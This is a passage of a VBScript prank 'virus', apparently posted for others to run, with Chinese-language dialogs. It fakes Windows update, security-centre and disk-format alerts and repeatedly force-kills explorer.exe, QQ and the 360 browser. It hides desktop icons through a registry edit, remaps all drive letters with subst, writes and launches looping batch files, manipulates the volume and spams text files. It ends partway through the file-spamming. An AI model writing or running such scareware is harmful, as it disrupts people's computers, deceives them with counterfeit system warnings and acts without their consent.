以下是代码:
set ws=createobject("wscript.shell")
set s=createobject("wscript.shell")
do
Pw=inputbox("请输入账号:")
if (Pw="A") then
exit do
else
x=msgbox("账号错误!请重试。",21,"Windows")
if x=1 then
end if
if x=2 then
createobject("wscript.shell").run"cmd /c start cmd.exe"
wscript.sleep 300
ws.sendkeys("taskkill -f -im wscript.exe")
s.SendKeys"{enter}"
wscript.sleep 300
s.sendkeys "taskkill -f -im cmd.exe"
s.SendKeys "{enter}"
end if
END if
loop
do
Pw=inputbox("请输入密码:")
y=inputbox("请确认密码:")
if (Pw="114514" and y="114514") then
exit do
else
x=msgbox("密码错误!请重试。",21,"Windows")
if x=1 then
end if
if x=2 then
createobject("wscript.shell").run"cmd /c start cmd.exe"
wscript.sleep 300
ws.sendkeys("taskkill -f -im wscript.exe")
s.SendKeys"{enter}"
end if
END if
loop
dim i
do while i<1
Select Case msgbox("系统检测到你的电脑版本过低,是否升级到Windows 11?",vbYesNo + vbQuestion,"Windows")
Case 6 i=1
Case 7
msgbox"无法结束此进程!"+CHR(13)+"错误码:0x00000010",16,"windows任务管理器"
end Select
loop
set Wshell=createobject("wscript.shell")
Wshell.Run "https://fakeupdate.net/win10ue/"
wscript.sleep 4000
s.sendkeys"{F11}"
wscript.sleep 30000
s.SendKeys"{enter}"
wscript.sleep 10000
s.Sendkeys"%{F4}"
wscript.sleep 1000
k=msgbox("更新时出现错误!需要启动蟿鼃鶽.exe文件",17)
if k=1 then
end if
if k=2 then
msgbox"更新时出现错误!需要启动蟿鼃鶽.exe文件",16
end if
msgbox"病毒名称: 蟿鼃鶽.exe"+CHR(13)+"发行者: 鰩3tH簇 "+chr(13)+"安全评级: 高危"+chr(13)+"建议: 直接删除"+chr(13)+"病毒类型: 木马",48,"Windows安全中心"
msgbox"删除失败",16
If MsgBox("是否开启强力删除模式?",vbYesNo + vbQuestion, "Windows安全中心") = vbYes Then
Set WshShell = CreateObject("WScript.Shell")
Dim CloseTime,m
CloseTime = 10
For m = CloseTime To 1 Step - 1
WshShell.popup "距离删除完成还有" & m,1,"Windows安全中心",64
Wscript.Sleep 1000
Next
MsgBox "删除失败!",16,"Windows安全中心"
end if
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello,"
wscript.sleep 2000
s.sendkeys "My name is virus.exe."
wscript.sleep 10000
createobject("wscript.shell").run"cmd /c start cmd.exe"
wscript.sleep 300
s.sendkeys "taskkill -f -im notepad.exe"
s.SendKeys "{enter}"
wscript.sleep 300
s.sendkeys "taskkill -f -im cmd.exe"
s.SendKeys "{enter}"
wscript.sleep 1000
createobject("wscript.shell").run"cmd /c start cmd.exe"
wscript.sleep 1000
s.sendkeys"@echo off&setlocal enabledelayedexpansion"
s.SendKeys "{enter}"
wscript.sleep 1000
s.sendkeys"title Windows"
s.SendKeys "{enter}"
wscript.sleep 1000
s.sendkeys"mode con: cols=20 lines=1"
s.SendKeys "{enter}"
wscript.sleep 1000
s.sendkeys"color c"
s.SendKeys "{enter}"
wscript.sleep 2000
s.sendkeys" You"
wscript.sleep 2000
s.sendkeys" are"
wscript.sleep 2000
s.sendkeys" an"
wscript.sleep 2000
s.sendkeys" idiot!"
wscript.sleep 5000
s.SendKeys "{enter}"
s.sendkeys "taskkill -f -im cmd.exe"
s.SendKeys "{enter}"
msgbox"你好!",64,"virus.exe"
msgbox"我叫virus.exe",64,"virus.exe"
t=msgbox("你愿意和我交朋友吗?",65,"virus.exe")
if t=1 then
msgbox"那可太好了,我们来玩石头剪刀布吧!",64,"virus.exe"
end if
if t=2 then
msgbox"算了,不要也罢!",64,"virus.exe"
msgbox"但是我会和你永远在一起",64,"virus.exe"
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("新建bat文件1.bat",2)
fw.writeline("@echo off&setlocal enabledelayedexpansion&color 0f&cls&title *v鰩3tH簇?XnzAK??▓HZ囤?*v鰩3tH簇?XnzAK??▓HZ囤? ")
fw.writeline("mode con: cols=61 lines=9")
fw.writeline("set str=直到死亡 ")
fw.writeline("set colors=12345689abcde")
fw.writeline(":loop")
fw.writeline("set /a color=%random%%%14+1")
fw.writeline("call :pp")
fw.writeline("goto loop")
fw.writeline(":pp")
fw.writeline("set/p=%str%<nul")
fw.writeline("color 0!colors:~%color%,1! ")
fw.writeline("ping /n 1 127.1.0.0>nul")
Set ws=WScript.CreateObject("WScript.shell")
ws.Run "cmd.exe /c start C:\Users\Administrator\Desktop\新建bat文件1.bat"
wscript.sleep 8000
createobject("wscript.shell").run"cmd /c start cmd.exe"
wscript.sleep 300
s.sendkeys "taskkill -f -im cmd.exe"
s.SendKeys "{enter}"
msgbox"算了,就算我们不是朋友,来玩石头剪刀布解解闷吧!",64,"virus.exe"
end if
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("新建bat文件2.bat",2)
fw.writeline("@echo off&color A")
fw.writeline("echo 1、剪刀 2、石头 3、布")
fw.writeline("set/p man=你要出什么(输入数字):")
fw.writeline("call:.,%man%")
fw.writeline("cls")
fw.writeline("echo/你出的是%o%&echo.")
fw.writeline("set/a ""cup=%random%%%3+1")
fw.writeline("call:.,%cup%")
fw.writeline("echo 电脑出的是%o%&echo.")
fw.writeline("if %man% neq %cup% (")
fw.writeline("if %man%==1 if %cup%==3 (echo/你赢了) else echo/你输了")
fw.writeline("if %man%==2 if %cup%==1 (echo/你赢了) else echo/你输了")
fw.writeline("if %man%==3 if %cup%==2 (echo/你赢了) else echo/你输了")
fw.writeline(") else echo/平手了")
fw.writeline("pause>nul")
fw.writeline("cls&%0")
fw.writeline(":.")
fw.writeline("if %1==1 set o=剪刀 ")
fw.writeline("if %1==2 set o=石头")
fw.writeline("if %1==3 set o=布")
ws.Run "cmd.exe /c start C:\Users\Administrator\Desktop\新建bat文件2.bat"
wscript.sleep 20000
msgbox"好了,我先去你电脑逛一亿下下吧!",64,"virus.exe"
msgbox"3分钟后再回来",64,"virus.exe"
msgbox"再见!",64,"virus.exe"
wscript.sleep 10000
Set WshShell = CreateObject("WScript.Shell")
Dim Closeime,c
Closeime = 1
For c = Closeime To 1 Step - 1
WshShell.popup "检测到你的电脑资源管理器被关闭,正在开启,请稍后..." & c,3,"Windows安全中心",64
Wscript.Sleep 2000
Next
msgbox"成功!",64,"Windows安全中心"
Wscript.Sleep 1000
s.run "explorer"
Wscript.Sleep 5000
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("新建bat文件3.bat",2)
fw.writeline("@echo off")
fw.writeline("title Windows的遗言")
fw.writeline("color a")
fw.writeline("echo 对不起")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo Windows的重要文件已被删除!")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo Windows已无法恢复!")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo 我们表示非常抱歉")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo 我们发现你的电脑里有病毒")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo 而且无法根除!")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo 我们已经尽最大的努力了")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("@echo off")
fw.writeline("@title 鰩簇腐瑬腐麷嘕瑬囤瑬囤鰩簇腐狅麪麷嘕莉喙鷰鰩簇鰩簇瑬囤鰩簇锞匬齚匬齚爡鈯糒稽榤蝘")
fw.writeline("@color 4")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo System Error!")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("@title virus.exe")
fw.writeline("color c")
fw.writeline("@cls")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo 你好")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo 我逛电脑的时候偶然发现了这里")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo 应该是这个Windows安全中心")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo 打扰了你吧!")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo 我帮你关掉吧!")
fw.writeline("ping 127.0.0.1 /n 4 >nul")
fw.writeline("echo Error!")
fw.writeline(":start")
fw.writeline("set /a dj=%random%%%9+0")
fw.writeline("color %dj%")
fw.writeline("goto start")
fw.writeline("Pause")
ws.Run "cmd.exe /c start C:\Users\Administrator\Desktop\新建bat文件3.bat"
Wscript.Sleep 50000
createobject("wscript.shell").run"cmd /c start cmd.exe"
wscript.sleep 300
s.sendkeys "taskkill -f -im cmd.exe"
s.SendKeys "{enter}"
msgbox"关闭失败!",16,"Windows任务管理器"
msgbox"看来只能删除它了!",64,"virus.exe"
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("新建bat文件4.bat",2)
fw.writeline("color 0a")
fw.writeline("@echo off")
fw.writeline("cd c:\")
fw.writeline(":s")
fw.writeline("tree")
fw.writeline("goto s")
ws.Run "cmd.exe /c start C:\Users\Administrator\Desktop\新建bat文件4.bat"
Wscript.Sleep 10000
createobject("wscript.shell").run"cmd /c start cmd.exe"
wscript.sleep 1000
s.sendkeys "taskkill -f -im cmd.exe"
s.SendKeys "{enter}"
msgbox"删除成功!",64,"Windows文件粉碎机"
msgbox"我看见你的磁盘少的可怜",64,"virus.exe"
msgbox"我帮你添多几个吧!",64,"virus.exe"
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("新建bat文件5.bat",2)
fw.writeline("@echo off")
fw.writeline("for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)")
ws.Run "cmd.exe /c start C:\Users\Administrator\Desktop\新建bat文件5.bat"
msgbox"好了,现在打开你的计算机看一下吧!",64,"virus.exe"
wscript.sleep 10000
msgbox"接下来的节目是",64,"virus.exe"
msgbox"Music表演",64,"virus.exe"
wscript.sleep 3000
msgbox"《与雾雨魔理沙一起偷重要的东西》外挂已启动"+CHR(13)+"若未启动游戏,此外挂将暂时在后台运行",64,"游戏外挂已启动"
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("新建vbs文件2.vbs",2)
fw.writeline("Set Wshell = WScript.CreateObject (""wscript.shell"")")
fw.writeline("Set ws= WScript.CreateObject (""wscript.shell"")")
fw.writeline("Wshell.Run ""https://www.bilibili.com/video/av31330216/?vd_source=bbdce2bb37058c7bd8e5be3c33ffaba3""")
fw.writeline("Const strTitle = ""史上最洗脑的电脑病毒!!!""")
fw.writeline("Dim objShell")
fw.writeline("Set objShell = CreateObject(""Wscript.Shell"")")
fw.writeline("While True")
fw.writeline("If objShell.AppActivate(strTitle) Then")
fw.writeline("Wscript.Sleep 3500")
fw.writeline("objShell.SendKeys ""% """)
fw.writeline("Wscript.Sleep 250")
fw.writeline("objShell.SendKeys ""{n}""")
fw.writeline("Set objShell = Nothing")
fw.writeline("Wscript.Quit")
fw.writeline("End If")
fw.writeline("Wend")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("新建vbs文件3.vbs",2)
fw.writeline("Set ws= WScript.CreateObject (""wscript.shell"")")
fw.writeline("ws.Run ""cmd.exe /c start C:\Users\Administrator\Desktop\新建vbs文件1.vbs""")
wscript.sleep 500
ws.Run "cmd.exe /c start C:\Users\Administrator\Desktop\新建vbs文件2.vbs"
wscript.sleep 20000
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
msgbox"格式化此卷将清除其上的所有数据,请在格式化之前备份所有希望保留"+CHR(13)+"的数据。你想继续吗?",49,"格式化C:"
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("新建bat文件6.bat",2)
fw.writeline("@echo off")
fw.writeline("for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)")
ws.Run "cmd.exe /c start C:\Users\Administrator\Desktop\新建bat文件6.bat"
wscript.sleep 2000
msgbox"0x744a8e89指令引用的0x03d0f4fc内存。该内存不能为read。"+CHR(13)+""+CHR(13)+"要终止程序,请单击""确定""。",16,"explorer.exe - 应用程序错误"
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
wscript.sleep 1000
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 500
ws.sendKeys "^{ESC}"
wscript.sleep 2000
createobject("wscript.shell").run"cmd /c start calc.exe"
createobject("wscript.shell").run"cmd /c start calc.exe"
createobject("wscript.shell").run"cmd /c start calc.exe"
createobject("wscript.shell").run"cmd /c start calc.exe"
createobject("wscript.shell").run"cmd /c start calc.exe"
createobject("wscript.shell").run"cmd /c start calc.exe"
wscript.sleep 3000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
wscript.sleep 1000
s.run "explorer"
wscript.sleep 3000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
wscript.sleep 1000
s.run "explorer"
wscript.sleep 3000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
wscript.sleep 1000
s.run "explorer"
wscript.sleep 3000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
wscript.sleep 3000
s.run "explorer"
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
wscript.sleep 3000
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
wscript.sleep 3000
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
wscript.sleep 3000
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
ws.SendKeys Chr(&H88AE) '减小音量
wscript.sleep 3000
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
ws.SendKeys Chr(&H88AF) '增大音量
On Error Resume Next
Dim WS
Set WS = WScript.CreateObject("wscript.Shell")
WS.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideIcons","1","REG_DWORD"
WS.Run "taskkill /f /im explorer.exe",0,True
WS.Run "explorer.exe",1
msgbox"我把你的图标删了",64," Windows"
msgbox"还想要回吗?",64," Windows"
msgbox"想得美",64," Windows"
wscript.sleep 2000
for DR=1 to 3
msgbox"从前有座山,",64
msgbox"山里有座庙,",64
msgbox"庙里有个老和尚在给小和尚讲故事。",64
msgbox"讲的是什么故事呢?",64
next
createobject("wscript.shell").run"cmd /c start mspaint.exe"
wscript.sleep 2000
msgbox"如果保存此图片任何透明度将丢失。是否要继续?",49,"画图"
CreateObject("wscript.shell").Run "taskkill /f /im mspaint.exe", 0
wscript.sleep 2000
msgbox"は大変なものを",64,"魔理沙は大変なものを盗んでいきました"
msgbox"は大変なものを",16,"魔理沙は大変なものを盗んでいきました"
msgbox"は大変なものを",48,"魔理沙は大変なものを盗んでいきました"
msgbox"は大変なものを",64,"魔理沙は大変なものを盗んでいきました"
msgbox"は大変なものを",16,"魔理沙は大変なものを盗んでいきました"
msgbox"は大変なものを",48,"魔理沙は大変なものを盗んでいきました"
wscript.sleep 2000
msgbox"太吵了,我把下面的浏览器关掉",64,"virus.exe"
CreateObject("wscript.shell").Run "taskkill /f /im 360se.exe", 0
msgbox"Good,整个世界清净了",64,"virus.exe"
msgbox"哦,你的图标怎么没了?",32,"virus.exe"
msgbox"这个Windows太不听话了,我来帮你制裁它",64,"virus.exe"
msgbox"我来教你怎么把图标恢复",64,"virus.exe"
msgbox"接下来请依次点击下面按钮",64,"virus.exe"
msgbox"桌面空白处右键>查看>显示桌面图标",64,"virus.exe"
t=msgbox("可以了吗?",33,"virus.exe")
if t=1 then
end if
if t=2 then
msgbox"那我再教你一次",64,"virus.exe"
msgbox"桌面空白处右键>查看>显示桌面图标",64,"virus.exe"
end if
wscript.sleep 2000
msgbox"今天的病毒就到这里,你看会抖音庆祝一下吧。",64,"virus.exe"
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美1.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美2.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美3.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美4.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美5.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美6.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美7.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美8.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美9.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美10.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美11.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美12.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美13.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美14.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美15.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美16.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美17.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美18.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美19.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美20.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美21.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美22.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美23.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美24.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美25.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美26.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美27.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美28.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美29.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美30.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美31.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美32.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美33.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美34.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美35.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美36.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美37.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美38.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美39.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美40.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美41.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美42.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美43.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美44.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美45.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美46.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美47.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美48.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美49.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美50.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美51.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美52.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美53.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美54.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美55.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美56.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美57.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美58.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美59.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美60.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美61.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美62.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美63.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美64.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美65.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美66.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美67.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美68.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美69.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美70.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美71.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile("鸡你太美72.txt",2)
fw.writeline("idiot!")
set fso=createobject("scripting.filesystemobject")
